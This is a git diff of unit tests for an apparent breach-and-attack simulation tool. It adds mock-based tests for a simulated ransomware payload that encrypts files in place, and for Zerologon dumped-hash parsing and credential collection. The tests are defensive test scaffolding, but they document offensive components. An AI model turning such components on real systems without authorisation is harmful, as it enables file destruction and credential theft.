dummy_restoration_attempt_result = object()
assert zerologon_exploiter_object.assess_restoration_attempt_result(
@@ -47,6 +48,7 @@ def test_assess_restoration_attempt_result_restored(zerologon_exploiter_object):
)
+@pytest.mark.slow
def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_object):
dummy_restoration_attempt_result = False
assert not zerologon_exploiter_object.assess_restoration_attempt_result(
@@ -54,10 +56,10 @@ def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_obje
)
+@pytest.mark.slow
def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object):
mock_dumped_secrets = [
- f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::"
- for i in range(len(USERS))
+ f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS))
]
expected_extracted_creds = {
USERS[0]: {
@@ -71,24 +73,18 @@ def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object):
"nt_hash": NT_HASHES[1],
},
}
- assert (
- zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets)
- is None
- )
+ assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None
assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds
+@pytest.mark.slow
def test__extract_user_creds_from_secrets_bad_data(zerologon_exploiter_object):
mock_dumped_secrets = [
- f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::"
- for i in range(len(USERS))
+ f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS))
]
expected_extracted_creds = {
USERS[0]: {"RID": int(RIDS[0]), "lm_hash": "", "nt_hash": ""},
USERS[1]: {"RID": int(RIDS[1]), "lm_hash": "", "nt_hash": ""},
}
- assert (
- zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets)
- is None
- )
+ assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None
assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py
similarity index 63%
rename from monkey/infection_monkey/exploit/tools/payload_parsing_test.py
rename to monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py
index 2aaa6dc12..2656a7ada 100644
--- a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
+++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py
@@ -1,6 +1,6 @@
from unittest import TestCase
-from .payload_parsing import LimitedSizePayload, Payload
+from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload, Payload
class TestPayload(TestCase):
@@ -13,20 +13,26 @@ class TestPayload(TestCase):
def test_is_suffix_and_prefix_too_long(self):
pld_fail = LimitedSizePayload("b", 2, "a", "c")
pld_success = LimitedSizePayload("b", 3, "a", "c")
- assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long()
+ assert (
+ pld_fail.is_suffix_and_prefix_too_long()
+ and not pld_success.is_suffix_and_prefix_too_long()
+ )
def test_split_into_array_of_smaller_payloads(self):
test_str1 = "123456789"
pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
array1 = pld1.split_into_array_of_smaller_payloads()
- test1 = bool(array1[0] == "prefix1234suffix" and
- array1[1] == "prefix5678suffix" and
- array1[2] == "prefix9suffix")
+ test1 = bool(
+ array1[0] == "prefix1234suffix"
+ and array1[1] == "prefix5678suffix"
+ and array1[2] == "prefix9suffix"
+ )
test_str2 = "12345678"
pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
array2 = pld2.split_into_array_of_smaller_payloads()
- test2 = bool(array2[0] == "prefix1234suffix" and
- array2[1] == "prefix5678suffix" and len(array2) == 2)
+ test2 = bool(
+ array2[0] == "prefix1234suffix" and array2[1] == "prefix5678suffix" and len(array2) == 2
+ )
assert test1 and test2
diff --git a/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py b/monkey/tests/unit_tests/infection_monkey/exploit/zerologon_utils/test_vuln_assessment.py
similarity index 84%
rename from monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py
rename to monkey/tests/unit_tests/infection_monkey/exploit/zerologon_utils/test_vuln_assessment.py
index ca598ce7c..c0635939c 100644
--- a/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py
+++ b/monkey/tests/unit_tests/infection_monkey/exploit/zerologon_utils/test_vuln_assessment.py
@@ -2,11 +2,8 @@ import pytest
from nmb.NetBIOS import NetBIOS
from common.utils.exceptions import DomainControllerNameFetchError
-from infection_monkey.exploit.zerologon_utils.vuln_assessment import \
- get_dc_details
from infection_monkey.model.host import VictimHost
-
DOMAIN_NAME = "domain-name"
IP = "0.0.0.0"
@@ -19,10 +16,14 @@ def host():
def _get_stub_queryIPForName(netbios_names):
def stub_queryIPForName(*args, **kwargs):
return netbios_names
+
return stub_queryIPForName
+@pytest.mark.slow
def test_get_dc_details_multiple_netbios_names(host, monkeypatch):
+ from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details
+
NETBIOS_NAMES = ["Name1", "Name2", "Name3"]
stub_queryIPForName = _get_stub_queryIPForName(NETBIOS_NAMES)
@@ -34,7 +35,10 @@ def test_get_dc_details_multiple_netbios_names(host, monkeypatch):
assert dc_handle == f"\\\\{NETBIOS_NAMES[0]}"
+@pytest.mark.slow
def test_get_dc_details_no_netbios_names(host, monkeypatch):
+ from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details
+
NETBIOS_NAMES = []
stub_queryIPForName = _get_stub_queryIPForName(NETBIOS_NAMES)
diff --git a/monkey/infection_monkey/model/victim_host_generator_test.py b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py
similarity index 77%
rename from monkey/infection_monkey/model/victim_host_generator_test.py
rename to monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py
index 5511680d7..c60992fee 100644
--- a/monkey/infection_monkey/model/victim_host_generator_test.py
+++ b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py
@@ -4,18 +4,17 @@ from common.network.network_range import CidrRange, SingleIpRange
from infection_monkey.model.victim_host_generator import VictimHostGenerator
-class VictimHostGeneratorTester(TestCase):
-
+class TestVictimHostGenerator(TestCase):
def setUp(self):
self.cidr_range = CidrRange("10.0.0.0/28", False) # this gives us 15 hosts
- self.local_host_range = SingleIpRange('localhost')
- self.random_single_ip_range = SingleIpRange('41.50.13.37')
+ self.local_host_range = SingleIpRange("localhost")
+ self.random_single_ip_range = SingleIpRange("41.50.13.37")
def test_chunking(self):
chunk_size = 3
# current test setup is 15+1+1-1 hosts
test_ranges = [self.cidr_range, self.local_host_range, self.random_single_ip_range]
- generator = VictimHostGenerator(test_ranges, '10.0.0.1', [])
+ generator = VictimHostGenerator(test_ranges, "10.0.0.1", [])
victims = generator.generate_victims(chunk_size)
for i in range(5): # quickly check the equally sided chunks
self.assertEqual(len(next(victims)), chunk_size)
@@ -23,14 +22,14 @@ class VictimHostGeneratorTester(TestCase):
self.assertEqual(len(victim_chunk_last), 1)
def test_remove_blocked_ip(self):
- generator = VictimHostGenerator(self.cidr_range, ['10.0.0.1'], [])
+ generator = VictimHostGenerator(self.cidr_range, ["10.0.0.1"], [])
victims = list(generator.generate_victims_from_range(self.cidr_range))
self.assertEqual(len(victims), 14) # 15 minus the 1 we blocked
def test_remove_local_ips(self):
generator = VictimHostGenerator([], [], [])
- generator.local_addresses = ['127.0.0.1']
+ generator.local_addresses = ["127.0.0.1"]
victims = list(generator.generate_victims_from_range(self.local_host_range))
self.assertEqual(len(victims), 0) # block the local IP
@@ -39,9 +38,9 @@ class VictimHostGeneratorTester(TestCase):
generator = VictimHostGenerator([], [], []) # dummy object
victims = list(generator.generate_victims_from_range(self.local_host_range))
self.assertEqual(len(victims), 1)
- self.assertEqual(victims[0].domain_name, 'localhost')
+ self.assertEqual(victims[0].domain_name, "localhost")
# don't generate for other victims
victims = list(generator.generate_victims_from_range(self.random_single_ip_range))
self.assertEqual(len(victims), 1)
- self.assertEqual(victims[0].domain_name, '')
+ self.assertEqual(victims[0].domain_name, "")
diff --git a/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py
similarity index 81%
rename from monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py
rename to monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py
index 83af6e00a..e7da336eb 100644
--- a/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py
+++ b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py
@@ -1,7 +1,6 @@
import pytest
-from infection_monkey.post_breach.actions.users_custom_pba import (
- DIR_CHANGE_LINUX, DIR_CHANGE_WINDOWS, UsersPBA)
+from infection_monkey.post_breach.actions.users_custom_pba import UsersPBA
MONKEY_DIR_PATH = "/dir/to/monkey/"
CUSTOM_LINUX_CMD = "command-for-linux"
@@ -35,9 +34,7 @@ def set_os_windows(monkeypatch):
@pytest.fixture
-def mock_UsersPBA_linux_custom_file_and_cmd(
- set_os_linux, fake_monkey_dir_path, monkeypatch
-):
+def mock_UsersPBA_linux_custom_file_and_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch):
monkeypatch.setattr(
"infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd",
CUSTOM_LINUX_CMD,
@@ -57,9 +54,7 @@ def test_command_linux_custom_file_and_cmd(
@pytest.fixture
-def mock_UsersPBA_windows_custom_file_and_cmd(
- set_os_windows, fake_monkey_dir_path, monkeypatch
-):
+def mock_UsersPBA_windows_custom_file_and_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch):
monkeypatch.setattr(
"infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd",
CUSTOM_WINDOWS_CMD,
@@ -80,10 +75,7 @@ def test_command_windows_custom_file_and_cmd(
@pytest.fixture
def mock_UsersPBA_linux_custom_file(set_os_linux, fake_monkey_dir_path, monkeypatch):
-
- monkeypatch.setattr(
- "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", None
- )
+ monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", None)
monkeypatch.setattr(
"infection_monkey.config.WormConfiguration.PBA_linux_filename",
CUSTOM_LINUX_FILENAME,
@@ -97,13 +89,8 @@ def test_command_linux_custom_file(mock_UsersPBA_linux_custom_file):
@pytest.fixture
-def mock_UsersPBA_windows_custom_file(
- set_os_windows, fake_monkey_dir_path, monkeypatch
-):
-
- monkeypatch.setattr(
- "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", None
- )
+def mock_UsersPBA_windows_custom_file(set_os_windows, fake_monkey_dir_path, monkeypatch):
+ monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", None)
monkeypatch.setattr(
"infection_monkey.config.WormConfiguration.PBA_windows_filename",
CUSTOM_WINDOWS_FILENAME,
@@ -118,14 +105,11 @@ def test_command_windows_custom_file(mock_UsersPBA_windows_custom_file):
@pytest.fixture
def mock_UsersPBA_linux_custom_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch):
-
monkeypatch.setattr(
"infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd",
CUSTOM_LINUX_CMD,
)
- monkeypatch.setattr(
- "infection_monkey.config.WormConfiguration.PBA_linux_filename", None
- )
+ monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_linux_filename", None)
return UsersPBA()
@@ -136,14 +120,11 @@ def test_command_linux_custom_cmd(mock_UsersPBA_linux_custom_cmd):
@pytest.fixture
def mock_UsersPBA_windows_custom_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch):
-
monkeypatch.setattr(
"infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd",
CUSTOM_WINDOWS_CMD,
)
- monkeypatch.setattr(
- "infection_monkey.config.WormConfiguration.PBA_windows_filename", None
- )
+ monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_windows_filename", None)
return UsersPBA()
diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py b/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py
new file mode 100644
index 000000000..1e357c798
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py
@@ -0,0 +1,24 @@
+import shutil
+from pathlib import Path
+
+import pytest
+
+
+@pytest.fixture
+def patched_home_env(monkeypatch, tmp_path):
+ monkeypatch.setenv("HOME", str(tmp_path))
+
+ return tmp_path
+
+
+@pytest.fixture
+def ransomware_test_data(data_for_tests_dir):
+ return Path(data_for_tests_dir) / "ransomware_targets"
+
+
+@pytest.fixture
+def ransomware_target(tmp_path, ransomware_test_data):
+ ransomware_target = tmp_path / "ransomware_target"
+ shutil.copytree(ransomware_test_data, ransomware_target)
+
+ return ransomware_target
diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py b/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py
new file mode 100644
index 000000000..1676c574f
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py
@@ -0,0 +1,16 @@
+SUBDIR = "subdir"
+ALL_ZEROS_PDF = "all_zeros.pdf"
+HELLO_TXT = "hello.txt"
+SHORTCUT_LNK = "shortcut.lnk"
+TEST_KEYBOARD_TXT = "test_keyboard.txt"
+TEST_LIB_DLL = "test_lib.dll"
+
+ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9"
+TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = (
+ "9d1a38784b7eefef6384bfc4b89048017db840adace11504a947016072750b2b"
+)
+
+ALL_ZEROS_PDF_ENCRYPTED_SHA256 = "779c176e820dbdaf643419232cb4d2760360c8633d6fe209cf706707db799b4d"
+TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 = (
+ "80701f3694abdd25ef3df7166b3fc5189b2afb4df32f7d5adbfed61ad07b9cd5"
+)
diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py
new file mode 100644
index 000000000..42e852b95
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py
@@ -0,0 +1,75 @@
+import os
+import shutil
+
+import pytest
+from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import (
+ ALL_ZEROS_PDF,
+ HELLO_TXT,
+ SHORTCUT_LNK,
+ SUBDIR,
+ TEST_KEYBOARD_TXT,
+ TEST_LIB_DLL,
+)
+from tests.utils import is_user_admin
+
+from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector
+from infection_monkey.ransomware.ransomware_payload import README_SRC
+
+TARGETED_FILE_EXTENSIONS = [".pdf", ".txt"]
+
+
+@pytest.fixture
+def file_selector():
+ return ProductionSafeTargetFileSelector(TARGETED_FILE_EXTENSIONS)
+
+
+def test_select_targeted_files_only(ransomware_test_data, file_selector):
+ selected_files = file_selector(ransomware_test_data)
+
+ assert len(selected_files) == 2
+ assert (ransomware_test_data / ALL_ZEROS_PDF) in selected_files
+ assert (ransomware_test_data / TEST_KEYBOARD_TXT) in selected_files
+
+
+def test_shortcut_not_selected(ransomware_test_data):
+ extensions = TARGETED_FILE_EXTENSIONS + [".lnk"]
+ file_selector = ProductionSafeTargetFileSelector(extensions)
+
+ selected_files = file_selector(ransomware_test_data)
+ assert ransomware_test_data / SHORTCUT_LNK not in selected_files
+
+
+@pytest.mark.skipif(
+ os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows"
+)
+def test_symlink_not_selected(ransomware_target, file_selector):
+ SYMLINK = "symlink.pdf"
+ link_path = ransomware_target / SYMLINK
+ link_path.symlink_to(ransomware_target / TEST_LIB_DLL)
+
+ selected_files = file_selector(ransomware_target)
+ assert link_path not in selected_files
+
+
+def test_directories_not_selected(ransomware_test_data, file_selector):
+ selected_files = file_selector(ransomware_test_data)
+
+ assert (ransomware_test_data / SUBDIR / HELLO_TXT) not in selected_files
+
+
+def test_ransomware_readme_not_selected(ransomware_target, file_selector):
+ readme_file = ransomware_target / "README.txt"
+ shutil.copyfile(README_SRC, readme_file)
+
+ selected_files = file_selector(ransomware_target)
+
+ assert readme_file not in selected_files
+
+
+def test_pre_existing_readme_is_selected(ransomware_target, stable_file, file_selector):
+ readme_file = ransomware_target / "README.txt"
+ shutil.copyfile(stable_file, readme_file)
+
+ selected_files = file_selector(ransomware_target)
+
+ assert readme_file in selected_files
diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py
new file mode 100644
index 000000000..eb2633226
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py
@@ -0,0 +1,73 @@
+import os
+
+import pytest
+from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import (
+ ALL_ZEROS_PDF,
+ ALL_ZEROS_PDF_CLEARTEXT_SHA256,
+ ALL_ZEROS_PDF_ENCRYPTED_SHA256,
+ TEST_KEYBOARD_TXT,
+ TEST_KEYBOARD_TXT_CLEARTEXT_SHA256,
+ TEST_KEYBOARD_TXT_ENCRYPTED_SHA256,
+)
+
+from common.utils.file_utils import get_file_sha256_hash
+from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor
+from infection_monkey.utils.bit_manipulators import flip_bits
+
+EXTENSION = ".m0nk3y"
+
+
+def with_extension(filename):
+ return f"{filename}{EXTENSION}"
+
+
+@pytest.fixture(scope="module")
+def in_place_bitflip_file_encryptor():
+ return InPlaceFileEncryptor(encrypt_bytes=flip_bits, chunk_size=64)
+
+
+@pytest.mark.parametrize("invalid_extension", ["no_dot", ".has/slash", ".has\\slash"])
+def test_invalid_file_extension(invalid_extension):
+ with pytest.raises(ValueError):
+ InPlaceFileEncryptor(encrypt_bytes=None, new_file_extension=invalid_extension)
+
+
+@pytest.mark.parametrize(
+ "file_name,cleartext_hash,encrypted_hash",
+ [
+ (TEST_KEYBOARD_TXT, TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, TEST_KEYBOARD_TXT_ENCRYPTED_SHA256),
+ (ALL_ZEROS_PDF, ALL_ZEROS_PDF_CLEARTEXT_SHA256, ALL_ZEROS_PDF_ENCRYPTED_SHA256),
+ ],
+)
+def test_file_encrypted(
+ in_place_bitflip_file_encryptor, ransomware_target, file_name, cleartext_hash, encrypted_hash
+):
+ test_keyboard = ransomware_target / file_name
+
+ assert get_file_sha256_hash(test_keyboard) == cleartext_hash
+
+ in_place_bitflip_file_encryptor(test_keyboard)
+
+ assert get_file_sha256_hash(test_keyboard) == encrypted_hash
+
+
+def test_file_encrypted_in_place(in_place_bitflip_file_encryptor, ransomware_target):
+ test_keyboard = ransomware_target / TEST_KEYBOARD_TXT
+
+ expected_inode = os.stat(test_keyboard).st_ino
+ in_place_bitflip_file_encryptor(test_keyboard)
+ actual_inode = os.stat(test_keyboard).st_ino
+
+ assert expected_inode == actual_inode
+
+
+def test_encrypted_file_has_new_extension(ransomware_target):
+ test_keyboard = ransomware_target / TEST_KEYBOARD_TXT
+ encrypted_test_keyboard = ransomware_target / with_extension(TEST_KEYBOARD_TXT)
+ encryptor = InPlaceFileEncryptor(encrypt_bytes=flip_bits, new_file_extension=EXTENSION)
+
+ encryptor(test_keyboard)
+
+ assert not test_keyboard.exists()
+ assert encrypted_test_keyboard.exists()
+ assert get_file_sha256_hash(encrypted_test_keyboard) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py
new file mode 100644
index 000000000..141186f18
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py
@@ -0,0 +1,73 @@
+from pathlib import Path
+
+import pytest
+from tests.utils import raise_
+
+from common.utils.file_utils import InvalidPath
+from infection_monkey.ransomware import ransomware_config
+from infection_monkey.ransomware.ransomware_config import RansomwareConfig
+
+LINUX_DIR = "/tmp/test"
+WINDOWS_DIR = "C:\\tmp\\test"
+
+
+@pytest.fixture
+def config_from_island():
+ return {
+ "encryption": {
+ "enabled": None,
+ "directories": {
+ "linux_target_dir": LINUX_DIR,
+ "windows_target_dir": WINDOWS_DIR,
+ },
+ },
+ "other_behaviors": {"readme": None},
+ }
+
+
+@pytest.mark.parametrize("enabled", [True, False])
+def test_encryption_enabled(enabled, config_from_island):
+ config_from_island["encryption"]["enabled"] = enabled
+ config = RansomwareConfig(config_from_island)
+
+ assert config.encryption_enabled == enabled
+
+
+@pytest.mark.parametrize("enabled", [True, False])
+def test_readme_enabled(enabled, config_from_island):
+ config_from_island["other_behaviors"]["readme"] = enabled
+ config = RansomwareConfig(config_from_island)
+
+ assert config.readme_enabled == enabled
+
+
+def test_linux_target_dir(monkeypatch, config_from_island):
+ monkeypatch.setattr(ransomware_config, "is_windows_os", lambda: False)
+
+ config = RansomwareConfig(config_from_island)
+ assert config.target_directory == Path(LINUX_DIR)
+
+
+def test_windows_target_dir(monkeypatch, config_from_island):
+ monkeypatch.setattr(ransomware_config, "is_windows_os", lambda: True)
+
+ config = RansomwareConfig(config_from_island)
+ assert config.target_directory == Path(WINDOWS_DIR)
+
+
+def test_env_variables_in_target_dir_resolved(config_from_island, patched_home_env, tmp_path):
+ path_with_env_variable = "$HOME/ransomware_target"
+
+ config_from_island["encryption"]["directories"]["linux_target_dir"] = config_from_island[
+ "encryption"
+ ]["directories"]["windows_target_dir"] = path_with_env_variable
+
+ config = RansomwareConfig(config_from_island)
+ assert config.target_directory == patched_home_env / "ransomware_target"
+
+
+def test_target_dir_is_none(monkeypatch, config_from_island):
+ monkeypatch.setattr(ransomware_config, "expand_path", lambda _: raise_(InvalidPath("invalid")))
+
+ config = RansomwareConfig(config_from_island)
+ assert config.target_directory is None
diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py
new file mode 100644
index 000000000..6c73cfb8d
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py
@@ -0,0 +1,174 @@
+from pathlib import PurePosixPath
+from unittest.mock import MagicMock
+
+import pytest
+from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import (
+ ALL_ZEROS_PDF,
+ TEST_KEYBOARD_TXT,
+)
+
+from infection_monkey.ransomware.consts import README_FILE_NAME, README_SRC
+from infection_monkey.ransomware.ransomware_config import RansomwareConfig
+from infection_monkey.ransomware.ransomware_payload import RansomwarePayload
+
+
+@pytest.fixture
+def ransomware_payload(build_ransomware_payload, ransomware_payload_config):
+ return build_ransomware_payload(ransomware_payload_config)
+
+
+@pytest.fixture
+def build_ransomware_payload(
+ mock_file_encryptor, mock_file_selector, mock_leave_readme, telemetry_messenger_spy
+):
+ def inner(config):
+ return RansomwarePayload(
+ config,
+ mock_file_encryptor,
+ mock_file_selector,
+ mock_leave_readme,
+ telemetry_messenger_spy,
+ )
+
+ return inner
+
+
+@pytest.fixture
+def ransomware_payload_config(ransomware_test_data):
+ class RansomwareConfigStub(RansomwareConfig):
+ def __init__(self, encryption_enabled, readme_enabled, target_directory):
+ self.encryption_enabled = encryption_enabled
+ self.readme_enabled = readme_enabled
+ self.target_directory = target_directory
+
+ return RansomwareConfigStub(True, False, ransomware_test_data)
+
+
+@pytest.fixture
+def mock_file_encryptor():
+ return MagicMock()
+
+
+@pytest.fixture
+def mock_file_selector(ransomware_test_data):
+ selected_files = [
+ ransomware_test_data / ALL_ZEROS_PDF,
+ ransomware_test_data / TEST_KEYBOARD_TXT,
+ ]
+ return MagicMock(return_value=selected_files)
+
+
+@pytest.fixture
+def mock_leave_readme():
+ return MagicMock()
+
+
+def test_files_selected_from_target_dir(
+ ransomware_payload,
+ ransomware_payload_config,
+ mock_file_selector,
+):
+ ransomware_payload.run_payload()
+ mock_file_selector.assert_called_with(ransomware_payload_config.target_directory)
+
+
+def test_all_selected_files_encrypted(
+ ransomware_test_data, ransomware_payload, mock_file_encryptor
+):
+ ransomware_payload.run_payload()
+
+ assert mock_file_encryptor.call_count == 2
+ mock_file_encryptor.assert_any_call(ransomware_test_data / ALL_ZEROS_PDF)
+ mock_file_encryptor.assert_any_call(ransomware_test_data / TEST_KEYBOARD_TXT)
+
+
+def test_encryption_skipped_if_configured_false(
+ build_ransomware_payload, ransomware_payload_config, mock_file_encryptor
+):
+ ransomware_payload_config.encryption_enabled = False
+
+ ransomware_payload = build_ransomware_payload(ransomware_payload_config)
+ ransomware_payload.run_payload()
+
+ assert mock_file_encryptor.call_count == 0
+
+
+def test_encryption_skipped_if_no_directory(
+ build_ransomware_payload, ransomware_payload_config, mock_file_encryptor
+):
+ ransomware_payload_config.encryption_enabled = True
+ ransomware_payload_config.target_directory = None
+
+ ransomware_payload = build_ransomware_payload(ransomware_payload_config)
+ ransomware_payload.run_payload()
+
+ assert mock_file_encryptor.call_count == 0
+
+
+def test_telemetry_success(ransomware_payload, telemetry_messenger_spy):
+ ransomware_payload.run_payload()
+
+ assert len(telemetry_messenger_spy.telemetries) == 2
+ telem_1 = telemetry_messenger_spy.telemetries[0]
+ telem_2 = telemetry_messenger_spy.telemetries[1]
+
+ assert ALL_ZEROS_PDF in telem_1.get_data()["files"][0]["path"]
+ assert telem_1.get_data()["files"][0]["success"]
+ assert telem_1.get_data()["files"][0]["error"] == ""
+ assert TEST_KEYBOARD_TXT in telem_2.get_data()["files"][0]["path"]
+ assert telem_2.get_data()["files"][0]["success"]
+ assert telem_2.get_data()["files"][0]["error"] == ""
+
+
+def test_telemetry_failure(
+ monkeypatch, ransomware_payload_config, mock_leave_readme, telemetry_messenger_spy
+):
+ file_not_exists = "/file/not/exist"
+ ransomware_payload = RansomwarePayload(
+ ransomware_payload_config,
+ MagicMock(
+ side_effect=FileNotFoundError(
+ f"[Errno 2] No such file or directory: '{file_not_exists}'"
+ )
+ ),
+ MagicMock(return_value=[PurePosixPath(file_not_exists)]),
+ mock_leave_readme,
+ telemetry_messenger_spy,
+ )
+
+ ransomware_payload.run_payload()
+ telem = telemetry_messenger_spy.telemetries[0]
+
+ assert file_not_exists in telem.get_data()["files"][0]["path"]
+ assert not telem.get_data()["files"][0]["success"]
+ assert "No such file or directory" in telem.get_data()["files"][0]["error"]
+
+
+def test_readme_false(build_ransomware_payload, ransomware_payload_config, mock_leave_readme):
+ ransomware_payload_config.readme_enabled = False
+ ransomware_payload = build_ransomware_payload(ransomware_payload_config)
+
+ ransomware_payload.run_payload()
+ mock_leave_readme.assert_not_called()
+
+
+def test_readme_true(
+ build_ransomware_payload, ransomware_payload_config, mock_leave_readme, ransomware_test_data
+):
+ ransomware_payload_config.readme_enabled = True
+ ransomware_payload = build_ransomware_payload(ransomware_payload_config)
+
+ ransomware_payload.run_payload()
+ mock_leave_readme.assert_called_with(README_SRC, ransomware_test_data / README_FILE_NAME)
+
+
+def test_no_readme_if_no_directory(
+ build_ransomware_payload, ransomware_payload_config, mock_leave_readme
+):
+ ransomware_payload_config.target_directory = None
+ ransomware_payload_config.readme_enabled = True
+
+ ransomware_payload = build_ransomware_payload(ransomware_payload_config)
+
+ ransomware_payload.run_payload()
+ mock_leave_readme.assert_not_called()
diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py
new file mode 100644
index 000000000..516e03935
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py
@@ -0,0 +1,32 @@
+import pytest
+
+from common.utils.file_utils import get_file_sha256_hash
+from infection_monkey.ransomware.readme_dropper import leave_readme
+
+DEST_FILE = "README.TXT"
+README_HASH = "c98c24b677eff44860afea6f493bbaec5bb1c4cbb209c6fc2bbb47f66ff2ad31"
+EMPTY_FILE_HASH = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
+
+
+@pytest.fixture(scope="module")
+def src_readme(data_for_tests_dir):
+ return data_for_tests_dir / "test_readme.txt"
+
+
+@pytest.fixture
+def dest_readme(tmp_path):
+ return tmp_path / DEST_FILE
+
+
+def test_readme_already_exists(src_readme, dest_readme):
+ dest_readme.touch()
+
+ leave_readme(src_readme, dest_readme)
+
+ assert get_file_sha256_hash(dest_readme) == EMPTY_FILE_HASH
+
+
+def test_leave_readme(src_readme, dest_readme):
+ leave_readme(src_readme, dest_readme)
+
+ assert get_file_sha256_hash(dest_readme) == README_HASH
diff --git a/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py
new file mode 100644
index 000000000..4d3259e67
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py
@@ -0,0 +1,158 @@
+from unittest import TestCase
+
+from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import (
+ _get_creds_from_pypykatz_session,
+)
+
+
+class TestPypykatzHandler(TestCase):
+ # Made up credentials, but structure of dict should be roughly the same
+ PYPYKATZ_SESSION = {
+ "authentication_id": 555555,
